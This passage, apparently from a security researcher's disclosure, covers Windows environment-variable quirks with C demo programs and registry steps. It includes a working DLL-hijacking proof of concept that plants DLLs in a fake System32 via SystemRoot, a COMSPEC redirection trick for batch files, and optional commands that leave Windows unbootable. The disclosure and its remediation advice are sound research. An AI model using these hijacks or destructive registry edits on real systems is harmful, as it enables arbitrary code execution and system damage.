    
    			dwError = RegCloseKey(hk);
    
    			if (dwError != ERROR_SUCCESS)
    				PrintConsole(hConsole,
    				             L"RegCloseKey() returned error %lu\n",
    				             dwError);
    		}
    
    		if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
    			PrintConsole(hConsole,
    			             L"OpenProcessToken() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			if (!CreateEnvironmentBlock(&lpBlock, hToken, FALSE))
    				PrintConsole(hConsole,
    				             L"CreateEnvironmentBlock() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				for (lpQuirk = lpBlock;
    				     lpQuirk[0] != L'\0';
    				     lpQuirk[dwQuirk = wcslen(lpQuirk)] = L'\n', lpQuirk += ++dwQuirk)
    					continue;
    
    				if (!WriteConsole(hConsole, lpBlock, dwQuirk = lpQuirk - lpBlock, &dwError, NULL))
    					PrintConsole(hConsole,
    					             L"WriteConsole() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (dwError ^= dwQuirk)
    						dwError = ERROR_WRITE_FAULT;
    				//	else
    				//		dwError = ERROR_SUCCESS;
    
    				if (!DestroyEnvironmentBlock(lpBlock))
    					PrintConsole(hConsole,
    					             L"DestroyEnvironmentBlock() returned error %lu\n",
    					             GetLastError());
    			}
    
    			if (!CloseHandle(hToken))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             GetLastError());
    		}
    #endif // QUIRKS
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk1.exe from the source file quirk1.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk1.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk1.c
    quirk1.c(65) : warning C4101: 'hToken' : unreferenced local variable
    quirk1.c(64) : warning C4101: 'hk' : unreferenced local variable
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk1.exe
    quirk1.obj
    advapi32.lib
    kernel32.lib
    user32.lib
    userenv.lib
  3. Execute the console application quirk1.exe built in step 2. to show proper behaviour first:

    .\quirk1.exe
    =::=::\
    =C:=C:\Users\Stefan\Desktop
    =ExitCode=00000000
    ALLUSERSPROFILE=
    APPDATA=
    CL=/GAFy /Oisy /W4 /Zl
    CommonAppData=
    CommonProgramFiles=
    CommonProgramFiles(x86)=
    CommonProgramW6432=
    COMPUTERNAME=AMNESIAC
    ComSpec=
    DriverData=
    HOMEDRIVE=
    HOMEPATH=
    HOMESHARE=
    LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    LOCALAPPDATA=
    LOGONSERVER=\\AMNESIAC
    NUMBER_OF_PROCESSORS=4
    OneDrive=
    OS=Windows_NT
    Path=
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=x86
    PROCESSOR_ARCHITEW6432=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=5e03
    ProgramData=
    ProgramFiles=
    ProgramFiles(x86)=
    ProgramW6432=
    PROMPT=$P$G
    PSModulePath=
    PUBLIC=
    SESSIONNAME=Console
    SystemDrive=
    SystemRoot=
    TEMP=
    TMP=
    USERDOMAIN=AMNESIAC
    USERDOMAIN_ROAMINGPROFILE=AMNESIAC
    USERNAME=Stefan
    USERPROFILE=
    windir=
    Note: (all 26) empty environment variables are present in the process environment block.
  4. Build the console application quirk1.exe from the source file quirk1.c created in step 1. a second time, now with the preprocessor macro QUIRKS defined as 0:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE /DQUIRKS=0 quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk1.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk1.exe
    quirk1.obj
    advapi32.lib
    kernel32.lib
    user32.lib
    userenv.lib
  5. Export the registry entries from the registry key HKEY_CURRENT_USER\Volatile Environment to the file quirk1.reg:

    REG.EXE EXPORT "HKEY_CURRENT_USER\Volatile Environment" quirk1.reg
    The operation completed successfully.
  6. Execute the console application quirk1.exe built in step 4. to show the first bug:

    .\quirk1.exe
    ALLUSERSPROFILE=AMNESIAC
    APPDATA=Stefan
    CommonAppData=AMNESIAC
    CommonProgramFiles=AMNESIAC
    CommonProgramFiles(x86)=AMNESIAC
    CommonProgramW6432=AMNESIAC
    COMPUTERNAME=AMNESIAC
    ComSpec=AMNESIAC
    DriverData=AMNESIAC
    HOMEDRIVE=Stefan
    HOMEPATH=Stefan
    HOMESHARE=Stefan
    LOCALAPPDATA=Stefan
    LOGONSERVER=\\AMNESIAC
    NUMBER_OF_PROCESSORS=4
    OneDrive=AMNESIAC
    OS=Windows_NT
    Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;AMNESIAC
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=5e03
    ProgramData=AMNESIAC
    ProgramFiles=AMNESIAC
    ProgramFiles(x86)=AMNESIAC
    ProgramW6432=AMNESIAC
    PSModulePath=AMNESIAC
    PUBLIC=AMNESIAC
    SESSIONNAME=Console
    SystemDrive=AMNESIAC
    SystemRoot=AMNESIAC
    TEMP=AMNESIAC
    TMP=AMNESIAC
    USERDOMAIN_ROAMINGPROFILE=AMNESIAC
    USERPROFILE=Stefan
    windir=AMNESIAC
    OUCH¹: volatile user environment variables stored without value in the Registry are written to the environment block with the value of arbitrary other now missing environment variables, here COMPUTERNAME and USERPROFILE, and they obscure programmatic system environment variables!
  7. (Optional) If you are curious, execute the following command line to signal the (graphical) Shell Explorer.exe that environment variables have changed and watch what happens when you start some applications:

    SETX.EXE QUIRKS ""
    SUCCESS: Specified value was saved.
    Note: when you've seen enough havoc and malfunctions, just log off and log on again, then continue with step 9. – volatile registry keys and their entries don’t survive logoff and shutdown!
  8. Restore the (volatile) registry entries from the file quirk1.reg created in step 5.:

    REG.EXE DELETE "HKEY_CURRENT_USER\Volatile Environment" /VA /F
    REG.EXE IMPORT quirk1.reg
    The operation completed successfully.
    The operation completed successfully.
  9. Build the console application quirk1.exe from the source file quirk1.c created in step 1. a third time, now with the preprocessor macro QUIRKS defined as 1:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE /DQUIRKS=1 quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk1.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk1.exe
    quirk1.obj
    advapi32.lib
    kernel32.lib
    user32.lib
    userenv.lib
  10. Execute the console application quirk1.exe built in step 9. to show the second bug:

    .\quirk1.exe
    COMPUTERNAME=AMNESIAC
    LOGONSERVER=\\AMNESIAC
    NUMBER_OF_PROCESSORS=4
    OS=Windows_NT
    Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=5e03
    SESSIONNAME=Console
    USERDOMAIN_ROAMINGPROFILE=AMNESIAC
    OUCH²: volatile user environment variables stored with empty value in the Registry are not written to the environment block, and they inhibit the addition of programmatic system environment variables with the same name to the environment block!

    Oops¹: the previously present environment variables USERDOMAIN and USERNAME are missing too!

  11. (Optional) If you are curious, execute the following command line to signal the (graphical) Shell Explorer.exe that environment variables have changed and watch what happens when you start some applications:

    SETX.EXE QUIRKS ""
    SUCCESS: Specified value was saved.
    Note: when you've seen enough havoc and malfunctions, just log off and log on again, then continue with step 13. – volatile registry keys and their entries don’t survive logoff and shutdown!
  12. Restore the (volatile) registry entries from the file quirk1.reg created in step 5.:

    REG.EXE DELETE "HKEY_CURRENT_USER\Volatile Environment" /VA /F
    REG.EXE IMPORT quirk1.reg
    The operation completed successfully.
    The operation completed successfully.
  13. Build the console application quirk1.exe from the source file quirk1.c created in step 1. a fourth time, now with the preprocessor macro QUIRKS defined as 2:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE /DQUIRKS=2 quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk1.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk1.exe
    quirk1.obj
    advapi32.lib
    kernel32.lib
    user32.lib
    userenv.lib
  14. Export the registry entries from the registry key HKEY_CURRENT_USER\Environment to the file quirk1.reg:

    REG.EXE EXPORT "HKEY_CURRENT_USER\Environment" quirk1.reg /F
    The operation completed successfully.
  15. Execute the console application quirk1.exe built in step 13. to show the second bug again:

    .\quirk1.exe
    COMPUTERNAME=AMNESIAC
    LOGONSERVER=\\AMNESIAC
    NUMBER_OF_PROCESSORS=4
    OS=Windows_NT
    Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=5e03
    SESSIONNAME=Console
    USERDOMAIN_ROAMINGPROFILE=AMNESIAC
    OUCH³: persistent user environment variables stored with empty value in the Registry are not written to the environment block, and they inhibit the addition of programmatic system environment variables with the same name to the environment block!

    Oops²: the previously present environment variables USERDOMAIN and USERNAME are missing too, again!

  16. Restore the (persistent) registry entries from the file quirk1.reg created in step 14.:

    REG.EXE DELETE "HKEY_CURRENT_USER\Environment" /VA /F
    REG.EXE IMPORT quirk1.reg
    The operation completed successfully.
    The operation completed successfully.
  17. (Optional) If you are curious, execute the following command line to set a registry entry with empty value for the user environment variable SystemRoot and signal the (graphical) Shell that environment variables have changed, then watch what happens when you start some applications – log off and log on again after you have seen enough havoc:

    SETX.EXE SystemRoot ""
    SUCCESS: Specified value was saved.
    Note: since the Shell won’t start any more, your administrator needs to load your registry hive, then remove the offending empty registry entry SystemRoot and finally unload the registry hive before you can continue with step 18.:
    REG.EXE LOAD   HKU\Quirks "%SystemDrive%\Users\‹account›\NTUSER.DAT"
    REG.EXE DELETE HKU\Quirks\Environment /V SystemRoot /F
    REG.EXE UNLOAD HKU\Quirks
    The operation completed successfully.
    The operation completed successfully.
    The operation completed successfully.
    Note: if your registry hive is still loaded under HKEY_USERS\S-1-5-21-‹number›-‹number›-‹number›-‹number›, you or your administrator can repair the registry entries there.
  18. Build the console application quirk1.exe from the source file quirk1.c created in step 1. a fifth time, now with the preprocessor macro QUIRKS defined as 3:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE /DQUIRKS=2 quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk1.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk1.exe
    quirk1.obj
    advapi32.lib
    kernel32.lib
    user32.lib
    userenv.lib
  19. Export the registry entries from the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment to the file quirk1.reg:

    REG.EXE EXPORT "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" quirk1.reg /Y
    The operation completed successfully.
  20. Execute the console application quirk1.exe built in step 18. as administrator to show the second bug a last time:

    .\quirk1.exe
    COMPUTERNAME=AMNESIAC
    LOGONSERVER=\\AMNESIAC
    NUMBER_OF_PROCESSORS=4
    OS=Windows_NT
    Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=5e03
    SESSIONNAME=Console
    USERDOMAIN_ROAMINGPROFILE=AMNESIAC
    OUCH⁴: persistent system environment variables stored with empty value in the Registry are not written to the environment block, and they inhibit the addition of programmatic system environment variables with the same name to the environment block!

    Oops³: the previously present environment variables USERDOMAIN and USERNAME are missing too!

  21. Restore the registry entries from the file quirk1.reg created in step 19.:

    REG.EXE DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /VA /F
    REG.EXE IMPORT quirk1.reg
    The operation completed successfully.
    The operation completed successfully.
  22. (Optional) If you are curious, execute the following command line to set a registry entry with empty value for the system environment variable SystemRoot and signal the (graphical) Shell Explorer.exe that environment variables have changed, then watch what happens when you start some applications – log off and log on again or reboot after you have seen enough havoc:

    SETX.EXE SystemRoot "" /M
    SUCCESS: Specified value was saved.

    [Screen shot of 'Blue Screen of Death' from Windows 11 24H2] [Screen shot of automatic repair failure from Windows 11 24H2]

    Note: since Windows won’t start any more, you need to boot Windows RE, load the registry hive C:\Windows\System32\Config\SYSTEM, remove the offending empty registry entry SystemRoot and finally unload the registry hive before you can boot Windows again:

    REG.EXE LOAD   "HKU\SYSTEM" "‹drive›:\Windows\System32\Config\SYSTEM"
    REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V SystemRoot /F
    REG.EXE UNLOAD "HKU\SYSTEM"
    The operation completed successfully.
    The operation completed successfully.
    The operation completed successfully.

Quirk № 3

Multiple undocumented dependencies on environment variables, which result in well-known weaknesses like CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-73: External Control of File Name or Path, CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element documented in the CWE, and allow well-known attacks like CAPEC-13: Subverting Environment Variable Values and CAPEC-471: Search Order Hijacking documented in the CAPEC.

Note: a proper implementation calls functions like GetSystemDirectory(), GetSystemWindowsDirectory(), GetSystemWow64Directory(), GetWindowsDirectory(), SHGetFolderPath() and SHGetKnownFolderPath() to determine (system) paths instead to evaluate (user-controlled) environment variables!

Demonstration

Start the Command Processor Cmd.exe, then execute the following command lines to remove all environment variables and (attempt to) start the applications Explorer.exe, NotePad.exe, RegEdit.exe and Write.exe as well as IExplore.exe and WordPad.exe afterwards:
REM Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%SystemRoot%"
FOR /F "Delims==" %? IN ('SET') DO @SET "%?="
DIR Explorer.exe NotePad.exe RegEdit.exe Write.exe Win.ini /B
Explorer.exe /E,/Separate,.
NotePad.exe /P Win.ini
RegEdit.exe /M
Write.exe
START IExplore.exe
START WordPad.exe
EXIT
Note: the command lines can be copied and pasted as block into a Command Processor window.

[Screen shot of error message from 'START WordPad.exe' on Windows 7]

explorer.exe
notepad.exe
regedit.exe
write.exe
win.ini
Oops: while NotePad.exe and RegEdit.exe start properly, Explorer.exe, Write.exe plus START IExplore.exe fail silently, and START WordPad.exe fails with an error message box!

Exploit

Perform the following 3 simple steps to exploit the misbehaviour vulnerability.
  1. Create the text file quirk3.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule,
    		                   DWORD   dwReason,
    		                   LPVOID  lpReserved)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	WCHAR	szProcess[MAX_PATH];
    	DWORD	dwProcess;
    	WCHAR	szMessage[1024];
    
    	if (dwReason != DLL_PROCESS_ATTACH)
    		return FALSE;
    
    	dwModule = GetModuleFileName(hModule,
    	                             szModule,
    	                             sizeof(szModule) / sizeof(*szModule));
    
    	if (dwModule < sizeof(szModule) / sizeof(*szModule))
    		szModule[dwModule] = L'\0';
    
    	dwProcess = GetModuleFileName((HMODULE) NULL,
    	                              szProcess,
    	                              sizeof(szProcess) / sizeof(*szProcess));
    
    	if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
    		szProcess[dwProcess] = L'\0';
    
    	if (wsprintf(szMessage,
    	             L"\'%ls\' loaded at address 0x%p in process \'%ls\'\n",
    	             szModule, hModule, szProcess) == 0)
    		return FALSE;
    
    	return IDOK == MessageBoxEx(HWND_DESKTOP,
    	                            szMessage,
    	                            __LPREFIX(__FUNCTION__) L"() entry point",
    	                            MB_OKCANCEL,
    	                            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
    }
  2. Build the DLL quirk3.dll from the source file quirk3.c created in step 1.:

    SET CL=/GAFy /LD /Oisy /W4 /Zl
    SET LINK=/NODEFAULTLIB
    CL.EXE quirk3.c kernel32.lib user32.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk3.dll is a pure Win32 DLL and builds without the MSVCRT libraries.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk3.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /NODEFAULTLIB
    /out:quirk3.dll
    /dll
    /implib:quirk3.lib
    quirk3.obj
    kernel32.lib
    user32.lib
  3. Create the subdirectory System32\ in the current directory, create hardlinks NDFAPI.dll and PropSys.dll of the DLL quirk3.dll built in step 2. in this subdirectory, set the environment variable SystemRoot to the current directory, then execute the two START commands used before again:

    [Screen shot of message box from bogus 'PropSys.dll' on Windows 7]

    MKDIR System32
    MKLINK /H System32\NDFAPI.dll quirk3.dll
    MKLINK /H System32\PropSys.dll quirk3.dll
    SET SystemRoot=%CD%
    START IExplore.exe
    START WordPad.exe
    Note: the command lines can be copied and pasted as block into a Command Processor window.

    [Screen shot of message box from bogus 'NDFAPI.dll' on Windows 7]

    Hardlink created for System32\NPFAPI.dll <<===>> quirk3.dll
    Hardlink created for System32\PropSys.dll <<===>> quirk3.dll
    OUCH: the internal Start command of the Command Processor Cmd.exe loads and executes (at least) arbitrary bogus DLLs named NDFAPI.dll and PropSys.dll from an arbitrary bogus system directory!
Note: finding more vulnerabilities (really: beginner’s errors) which let applications shipped with Windows load and execute other DLLs or applications from arbitrary (local or remote) paths via (user-controlled) environment variables is left as an exercise to the reader.

Quirk № 4

The extensions .bat and .cmd are associated with the file types alias Programmatic Identifiers batfile and cmdfile whose Open verb is registered with the command line template "%1" %*:
ASSOC .bat
ASSOC .cmd
FTYPE batfile
FTYPE cmdfile
.bat=batfile
.cmd=cmdfile
batfile="%1" %*
cmdfile="%1" %*

Background Information

The Win32 functions ShellExecute() and ShellExecuteEx() retrieve these command line templates, replace the various tokens %‹digit›, %‹letter› and %* with file or path names and arguments, then feed the completed command line to one of the CreateProcess(), CreateProcessAsUser(), CreateProcessWithLogonW() or CreateProcessWithTokenW() functions.

The documentation for the CreateProcess() function states:

To run a batch file, you must start the command interpreter; set lpApplicationName to cmd.exe and set lpCommandLine to the following arguments: /c plus the name of the batch file.
Due to the security vulnerability CVE-2014-0315 alias MS14-019 I discovered and reported at the MSRC about 11 years ago, which was fixed with security update 2922229 some months later, the following note was added several years later:

Important

The MSRC engineering team advises against this. See MS14-019 – Fixing a binary hijacking via .cmd or .bat file for more details.

Demonstration (Part 1)

Perform the following 4 (plus 1) simple steps to show undocumented (mis)behaviour.
  1. Create the text file quirk4.vbs with the following content in an arbitrary, preferable empty directory:

    Rem Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    With WScript.CreateObject("Scripting.FileSystemObject")
    	Const fsoWindowsFolder   = 0
    	Const fsoSystemFolder    = 1
    	Const fsoTemporaryFolder = 2
    
    	strFolder = .GetSpecialFolder(fsoWindowsFolder).Path
    	strProgram = .BuildPath(strFolder, "NotePad.exe")
    End With
    
    With WScript.CreateObject("WScript.Shell").Environment("VOLATILE")
    	If .Item("COMSPEC") = vbNullString Then
    		.Item("COMSPEC") = strProgram
    	Else
    		.Remove("COMSPEC")
    	End If
    End With
  2. Execute the VBScript quirk4.vbs created in step 1. per double-click to set the volatile environment variable COMSPEC to the path name of the Editor.

  3. Create the text files quirk4.bat and quirk4.cmd with the following content in an arbitrary, preferable empty directory:

    PAUSE
  4. Execute the batch scripts quirk4.bat and quirk4.cmd created in step 3. per double-click.

    OUCH: the Editor starts instead of the Command Processor Cmd.exe and displays an error message box – most obviously Microsoft’s developers and their quality miserability assurance ignore their own companies’ documentation and (security) guidelines!

  5. Execute the VBScript quirk4.vbs created in step 1. per double-click to remove the volatile environment variable COMSPEC again.

Note: a repetition of this demonstration with the volatile (or user) environment variable COMSPEC pointing to an arbitrary Alternate Data Stream or an arbitrary UNC path \\‹computer›\‹share›\[‹directory›\[…\]]‹file› is left as an exercise to the reader!

Remediation

To prevent the execution of an arbitrary (hostile) application when starting batch scripts, change the command line template registered with the file types alias Programmatic Identifiers batfile and cmdfile associated with the extensions .bat and .cmd from its default value "%1" %* to C:\Windows\System32\Cmd.exe /D /C "%L" %*:
FTYPE batfile=%COMSPEC% /D /C "%L" %*
FTYPE cmdfile=%COMSPEC% /D /C "%L" %*
Note: the internal Ftype command must be run with administrative privileges.

If you still have not abandonded the bad habit of using the Protected Administrator account created during Windows Setup you also need to change the command line templates registered for the RunAs verb:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\Shell\RunAs\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\Shell\RunAs\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C \"%L\" %*"
CAVEAT: thanks to the Merged View of HKEY_CLASSES_ROOT introduced with Windows 2000 this remediation but fails if the unnamed default registry entry with the default command line template is present in the corresponding registry key HKEY_CURRENT_USER\Software\Classes\‹file type›\Shell\‹verb›\Command of a user account!

Demonstration (Part 2)

Perform the following 9 simple steps to prove the documentation cited above wrong and to show undocumented (mis)behaviour with the resulting vulnerabilities.
  1. Create the text file quirk4.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	STARTUPINFO	si = {sizeof(si)};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PROCESS_INFORMATION	pi;
    
    	WCHAR	szCmdLine[] = L".\\quirk4.bat";
    	WCHAR	szProcess[MAX_PATH];
    	DWORD	dwProcess = sizeof(szProcess) / sizeof(*szProcess);
    	DWORD	dwThread;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!CreateProcess((LPCWSTR) NULL,
    		                   szCmdLine,
    		                   (LPSECURITY_ATTRIBUTES) NULL,
    		                   (LPSECURITY_ATTRIBUTES) NULL,
    		                   FALSE,
    		                   CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
    		                   (LPWSTR) NULL,
    		                   (LPCWSTR) NULL,
    		                   &si,
    		                   &pi))
    			PrintConsole(hConsole,
    			             L"CreateProcess() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			if (!QueryFullProcessImageName(pi.hProcess, 0, szProcess, &dwProcess))
    				PrintConsole(hConsole,
    				             L"QueryFullProcessImageName() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"Child process loaded from image file \'%ls\'\n",
    				             szProcess);
    
    			PrintConsole(hConsole,
    			             L"Child process %lu with primary thread %lu created\n",
    			             pi.dwProcessId, pi.dwThreadId);
    
    			if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
    				PrintConsole(hConsole,
    				             L"WaitForSingleObject() returned error %lu\n",
    				             dwError = GetLastError());
    
    			if (!GetExitCodeThread(pi.hThread, &dwThread))
    				PrintConsole(hConsole,
    				             L"GetExitCodeThread() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				if (dwThread > 65535)
    					PrintConsole(hConsole,
    					             L"Primary thread %lu of child process %lu exited with code 0x%08lX\n",
    					             pi.dwThreadId, pi.dwProcessId, dwThread);
    				else
    					PrintConsole(hConsole,
    					             L"Primary thread %lu of child process %lu exited with code %lu\n",
    					             pi.dwThreadId, pi.dwProcessId, dwThread);
    
    			if (!CloseHandle(pi.hThread))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             dwError = GetLastError());
    
    			if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
    				PrintConsole(hConsole,
    				             L"WaitForSingleObject() returned error %lu\n",
    				             dwError = GetLastError());
    
    			if (!GetExitCodeProcess(pi.hProcess, &dwProcess))
    				PrintConsole(hConsole,
    				             L"GetExitCodeProcess() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				if (dwProcess > 65535)
    					PrintConsole(hConsole,
    					             L"Child process %lu exited with code 0x%08lX\n",
    					             pi.dwProcessId, dwProcess);
    				else
    					PrintConsole(hConsole,
    					             L"Child process %lu exited with code %lu\n",
    					             pi.dwProcessId, dwProcess);
    
    			if (!CloseHandle(pi.hProcess))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
